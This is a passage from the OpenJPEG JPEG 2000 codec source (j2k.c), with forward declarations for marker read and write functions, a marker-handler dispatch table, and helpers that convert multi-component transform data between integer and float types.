p_j2k J2K codec. * @param p_first_comp_no the index of the first component to compare. * @param p_second_comp_no the index of the second component to compare. * * @return OPJ_TRUE if equals */ static OPJ_BOOL opj_j2k_compare_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes the COC marker (Coding style component) * * @param p_j2k J2K codec. * @param p_comp_no the index of the component to output. * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the COC marker (Coding style component) * * @param p_j2k J2K codec. * @param p_comp_no the index of the component to output. * @param p_data FIXME DOC * @param p_data_written FIXME DOC * @param p_manager the user event manager. */ static void opj_j2k_write_coc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by a coc. * * @param p_j2k the jpeg2000 codec to use. */ static OPJ_UINT32 opj_j2k_get_max_coc_size(opj_j2k_t *p_j2k); /** * Reads a COC marker (Coding Style Component) * @param p_header_data the data contained in the COC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_coc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the QCD marker (quantization default) * * @param p_j2k J2K codec. * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_qcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a QCD marker (Quantization defaults) * @param p_header_data the data contained in the QCD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Compare QCC markers (quantization component) * * @param p_j2k J2K codec. * @param p_first_comp_no the index of the first component to compare. * @param p_second_comp_no the index of the second component to compare. * * @return OPJ_TRUE if equals. */ static OPJ_BOOL opj_j2k_compare_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes the QCC marker (quantization component) * * @param p_comp_no the index of the component to output. * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the QCC marker (quantization component) * * @param p_j2k J2K codec. * @param p_comp_no the index of the component to output. * @param p_data FIXME DOC * @param p_data_written the stream to write data to. * @param p_manager the user event manager. */ static void opj_j2k_write_qcc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by a qcc. */ static OPJ_UINT32 opj_j2k_get_max_qcc_size(opj_j2k_t *p_j2k); /** * Reads a QCC marker (Quantization component) * @param p_header_data the data contained in the QCC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the POC marker (Progression Order Change) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_poc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the POC marker (Progression Order Change) * * @param p_j2k J2K codec. * @param p_data FIXME DOC * @param p_data_written the stream to write data to. * @param p_manager the user event manager. */ static void opj_j2k_write_poc_in_memory(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by the writing of a POC. */ static OPJ_UINT32 opj_j2k_get_max_poc_size(opj_j2k_t *p_j2k); /** * Reads a POC marker (Progression Order Change) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_poc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by the toc headers of all the tile parts of any given tile. */ static OPJ_UINT32 opj_j2k_get_max_toc_size(opj_j2k_t *p_j2k); /** * Gets the maximum size taken by the headers of the SOT. * * @param p_j2k the jpeg2000 codec to use. */ static OPJ_UINT32 opj_j2k_get_specific_header_sizes(opj_j2k_t *p_j2k); /** * Reads a CRG marker (Component registration) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_crg(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Reads a TLM marker (Tile Length Marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_tlm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the updated tlm. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_updated_tlm(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a PLM marker (Packet length, main header marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Reads a PLT marker (Packet length, tile-part header) * * @param p_header_data the data contained in the PLT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PLT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Reads a PPM marker (Packed headers, main header) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppm( opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Merges all PPM markers read (Packed headers, main header) * * @param p_cp main coding parameters. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppm(opj_cp_t *p_cp, opj_event_mgr_t * p_manager); /** * Reads a PPT marker (Packed packet headers, tile-part header) * * @param p_header_data the data contained in the PPT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PPT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Merges all PPT markers read (Packed headers, tile-part header) * * @param p_tcp the tile. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppt(opj_tcp_t *p_tcp, opj_event_mgr_t * p_manager); /** * Writes the TLM marker (Tile Length Marker) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the SOT marker (Start of tile-part) * * @param p_j2k J2K codec. * @param p_data Output buffer * @param p_total_data_size Output buffer size * @param p_data_written Number of bytes written into stream * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 p_total_data_size, OPJ_UINT32 * p_data_written, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads values from a SOT marker (Start of tile-part) * * the j2k decoder state is not affected. No side effects, no checks except for p_header_size. * * @param p_header_data the data contained in the SOT marker. * @param p_header_size the size of the data contained in the SOT marker. * @param p_tile_no Isot. * @param p_tot_len Psot. * @param p_current_part TPsot. * @param p_num_parts TNsot. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_get_sot_values(OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, OPJ_UINT32* p_tile_no, OPJ_UINT32* p_tot_len, OPJ_UINT32* p_current_part, OPJ_UINT32* p_num_parts, opj_event_mgr_t * p_manager); /** * Reads a SOT marker (Start of tile-part) * * @param p_header_data the data contained in the SOT marker. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PPT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the SOD marker (Start of data) * * @param p_j2k J2K codec. * @param p_tile_coder FIXME DOC * @param p_data FIXME DOC * @param p_data_written FIXME DOC * @param p_total_data_size FIXME DOC * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_sod(opj_j2k_t *p_j2k, opj_tcd_t * p_tile_coder, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a SOD marker (Start Of Data) * * @param p_j2k the jpeg2000 codec. * @param p_stream FIXME DOC * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_sod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static void opj_j2k_update_tlm(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_part_size) { opj_write_bytes(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current, p_j2k->m_current_tile_number, 1); /* PSOT */ ++p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current; opj_write_bytes(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current, p_tile_part_size, 4); /* PSOT */ p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current += 4; } /** * Writes the RGN marker (Region Of Interest) * * @param p_tile_no the tile to output * @param p_comp_no the component to output * @param nb_comps the number of components * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_rgn(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_UINT32 nb_comps, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a RGN marker (Region Of Interest) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_rgn(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the EOC marker (End of Codestream) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); #if 0 /** * Reads a EOC marker (End Of Codestream) * * @param p_j2k the jpeg2000 codec. * @param p_stream FIXME DOC * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); #endif /** * Writes the CBD-MCT-MCC-MCO markers (Multi components transform) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mct_data_group(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Inits the Info * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_init_info(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** Add main header marker information @param cstr_index Codestream information structure @param type marker type @param pos byte offset of marker segment @param len length of marker segment */ static OPJ_BOOL opj_j2k_add_mhmarker(opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len) ; /** Add tile header marker information @param tileno tile index number @param cstr_index Codestream information structure @param type marker type @param pos byte offset of marker segment @param len length of marker segment */ static OPJ_BOOL opj_j2k_add_tlmarker(OPJ_UINT32 tileno, opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len); /** * Reads an unknown marker * * @param p_j2k the jpeg2000 codec. * @param p_stream the stream object to read from. * @param output_marker FIXME DOC * @param p_manager the user event manager. * * @return true if the marker could be deduced. */ static OPJ_BOOL opj_j2k_read_unk(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, OPJ_UINT32 *output_marker, opj_event_mgr_t * p_manager); /** * Writes the MCT marker (Multiple Component Transform) * * @param p_j2k J2K codec. * @param p_mct_record FIXME DOC * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mct_record(opj_j2k_t *p_j2k, opj_mct_data_t * p_mct_record, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a MCT marker (Multiple Component Transform) * * @param p_header_data the data contained in the MCT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mct(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the MCC marker (Multiple Component Collection) * * @param p_j2k J2K codec. * @param p_mcc_record FIXME DOC * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mcc_record(opj_j2k_t *p_j2k, opj_simple_mcc_decorrelation_data_t * p_mcc_record, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a MCC marker (Multiple Component Collection) * * @param p_header_data the data contained in the MCC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the MCO marker (Multiple component transformation ordering) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mco(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a MCO marker (Multiple Component Transform Ordering) * * @param p_header_data the data contained in the MCO box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCO marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mco(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_add_mct(opj_tcp_t * p_tcp, opj_image_t * p_image, OPJ_UINT32 p_index); static void opj_j2k_read_int16_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_int32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float64_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_int16_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_int32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float64_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_int16(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_float64(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); /** * Ends the encoding, i.e. frees memory. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_end_encoding(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the CBD marker (Component bit depth definition) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_cbd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a CBD marker (Component bit depth definition) * @param p_header_data the data contained in the CBD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the CBD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cbd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes COC marker for each component. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_all_coc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes QCC marker for each component. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_all_qcc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes regions of interests. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_regions(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes EPC ???? * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_epc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Checks the progression order changes values. Tells of the poc given as input are valid. * A nice message is outputted at errors. * * @param p_pocs the progression order changes. * @param p_nb_pocs the number of progression order changes. * @param p_nb_resolutions the number of resolutions. * @param numcomps the number of components * @param numlayers the number of layers. * @param p_manager the user event manager. * * @return true if the pocs are valid. */ static OPJ_BOOL opj_j2k_check_poc_val(const opj_poc_t *p_pocs, OPJ_UINT32 p_nb_pocs, OPJ_UINT32 p_nb_resolutions, OPJ_UINT32 numcomps, OPJ_UINT32 numlayers, opj_event_mgr_t * p_manager); /** * Gets the number of tile parts used for the given change of progression (if any) and the given tile. * * @param cp the coding parameters. * @param pino the offset of the given poc (i.e. its position in the coding parameter). * @param tileno the given tile. * * @return the number of tile parts. */ static OPJ_UINT32 opj_j2k_get_num_tp(opj_cp_t *cp, OPJ_UINT32 pino, OPJ_UINT32 tileno); /** * Calculates the total number of tile parts needed by the encoder to * encode such an image. If not enough memory is available, then the function return false. * * @param p_nb_tiles pointer that will hold the number of tile parts. * @param cp the coding parameters for the image. * @param image the image to encode. * @param p_j2k the p_j2k encoder. * @param p_manager the user event manager. * * @return true if the function was successful, false else. */ static OPJ_BOOL opj_j2k_calculate_tp(opj_j2k_t *p_j2k, opj_cp_t *cp, OPJ_UINT32 * p_nb_tiles, opj_image_t *image, opj_event_mgr_t * p_manager); static void opj_j2k_dump_MH_info(opj_j2k_t* p_j2k, FILE* out_stream); static void opj_j2k_dump_MH_index(opj_j2k_t* p_j2k, FILE* out_stream); static opj_codestream_index_t* opj_j2k_create_cstr_index(void); static OPJ_FLOAT32 opj_j2k_get_tp_stride(opj_tcp_t * p_tcp); static OPJ_FLOAT32 opj_j2k_get_default_stride(opj_tcp_t * p_tcp); static int opj_j2k_initialise_4K_poc(opj_poc_t *POC, int numres); static void opj_j2k_set_cinema_parameters(opj_cparameters_t *parameters, opj_image_t *image, opj_event_mgr_t *p_manager); static OPJ_BOOL opj_j2k_is_cinema_compliant(opj_image_t *image, OPJ_UINT16 rsiz, opj_event_mgr_t *p_manager); /** * Checks for invalid number of tile-parts in SOT marker (TPsot==TNsot). See issue 254. * * @param p_stream the stream to read data from. * @param tile_no tile number we're looking for. * @param p_correction_needed output value. if true, non conformant codestream needs TNsot correction. * @param p_manager the user event manager. * * @return true if the function was successful, false else. */ static OPJ_BOOL opj_j2k_need_nb_tile_parts_correction(opj_stream_private_t *p_stream, OPJ_UINT32 tile_no, OPJ_BOOL* p_correction_needed, opj_event_mgr_t * p_manager); /*@}*/ /*@}*/ /* ----------------------------------------------------------------------- */ typedef struct j2k_prog_order { OPJ_PROG_ORDER enum_prog; char str_prog[5]; } j2k_prog_order_t; static const j2k_prog_order_t j2k_prog_order_list[] = { {OPJ_CPRL, "CPRL"}, {OPJ_LRCP, "LRCP"}, {OPJ_PCRL, "PCRL"}, {OPJ_RLCP, "RLCP"}, {OPJ_RPCL, "RPCL"}, {(OPJ_PROG_ORDER) - 1, ""} }; /** * FIXME DOC */ static const OPJ_UINT32 MCT_ELEMENT_SIZE [] = { 2, 4, 4, 8 }; typedef void (* opj_j2k_mct_function)(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static const opj_j2k_mct_function j2k_mct_read_functions_to_float [] = { opj_j2k_read_int16_to_float, opj_j2k_read_int32_to_float, opj_j2k_read_float32_to_float, opj_j2k_read_float64_to_float }; static const opj_j2k_mct_function j2k_mct_read_functions_to_int32 [] = { opj_j2k_read_int16_to_int32, opj_j2k_read_int32_to_int32, opj_j2k_read_float32_to_int32, opj_j2k_read_float64_to_int32 }; static const opj_j2k_mct_function j2k_mct_write_functions_from_float [] = { opj_j2k_write_float_to_int16, opj_j2k_write_float_to_int32, opj_j2k_write_float_to_float, opj_j2k_write_float_to_float64 }; typedef struct opj_dec_memory_marker_handler { /** marker value */ OPJ_UINT32 id; /** value of the state when the marker can appear */ OPJ_UINT32 states; /** action linked to the marker */ OPJ_BOOL(*handler)(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); } opj_dec_memory_marker_handler_t; static const opj_dec_memory_marker_handler_t j2k_memory_marker_handler_tab [] = { {J2K_MS_SOT, J2K_STATE_MH | J2K_STATE_TPHSOT, opj_j2k_read_sot}, {J2K_MS_COD, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_cod}, {J2K_MS_COC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_coc}, {J2K_MS_RGN, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_rgn}, {J2K_MS_QCD, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_qcd}, {J2K_MS_QCC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_qcc}, {J2K_MS_POC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_poc}, {J2K_MS_SIZ, J2K_STATE_MHSIZ, opj_j2k_read_siz}, {J2K_MS_TLM, J2K_STATE_MH, opj_j2k_read_tlm}, {J2K_MS_PLM, J2K_STATE_MH, opj_j2k_read_plm}, {J2K_MS_PLT, J2K_STATE_TPH, opj_j2k_read_plt}, {J2K_MS_PPM, J2K_STATE_MH, opj_j2k_read_ppm}, {J2K_MS_PPT, J2K_STATE_TPH, opj_j2k_read_ppt}, {J2K_MS_SOP, 0, 0}, {J2K_MS_CRG, J2K_STATE_MH, opj_j2k_read_crg}, {J2K_MS_COM, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_com}, {J2K_MS_MCT, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_mct}, {J2K_MS_CBD, J2K_STATE_MH, opj_j2k_read_cbd}, {J2K_MS_MCC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_mcc}, {J2K_MS_MCO, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_mco}, #ifdef USE_JPWL #ifdef TODO_MS /* remove these functions which are not commpatible with the v2 API */ {J2K_MS_EPC, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_epc}, {J2K_MS_EPB, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_epb}, {J2K_MS_ESD, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_esd}, {J2K_MS_RED, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_red}, #endif #endif /* USE_JPWL */ #ifdef USE_JPSEC {J2K_MS_SEC, J2K_DEC_STATE_MH, j2k_read_sec}, {J2K_MS_INSEC, 0, j2k_read_insec} #endif /* USE_JPSEC */ {J2K_MS_UNK, J2K_STATE_MH | J2K_STATE_TPH, 0}/*opj_j2k_read_unk is directly used*/ }; static void opj_j2k_read_int16_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 2); l_src_data += sizeof(OPJ_INT16); *(l_dest_data++) = (OPJ_FLOAT32) l_temp; } } static void opj_j2k_read_int32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 4); l_src_data += sizeof(OPJ_INT32); *(l_dest_data++) = (OPJ_FLOAT32) l_temp; } } static void opj_j2k_read_float32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_float(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT32); *(l_dest_data++) = l_temp; } } static void opj_j2k_read_float64_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT64 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_double(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT64); *(l_dest_data++) = (OPJ_FLOAT32) l_temp; } } static void opj_j2k_read_int16_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 2); l_src_data += sizeof(OPJ_INT16); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_read_int32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 4); l_src_data += sizeof(OPJ_INT32); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_read_float32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_float(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT32); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_read_float64_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT64 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_double(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT64); *(l_dest_data++) 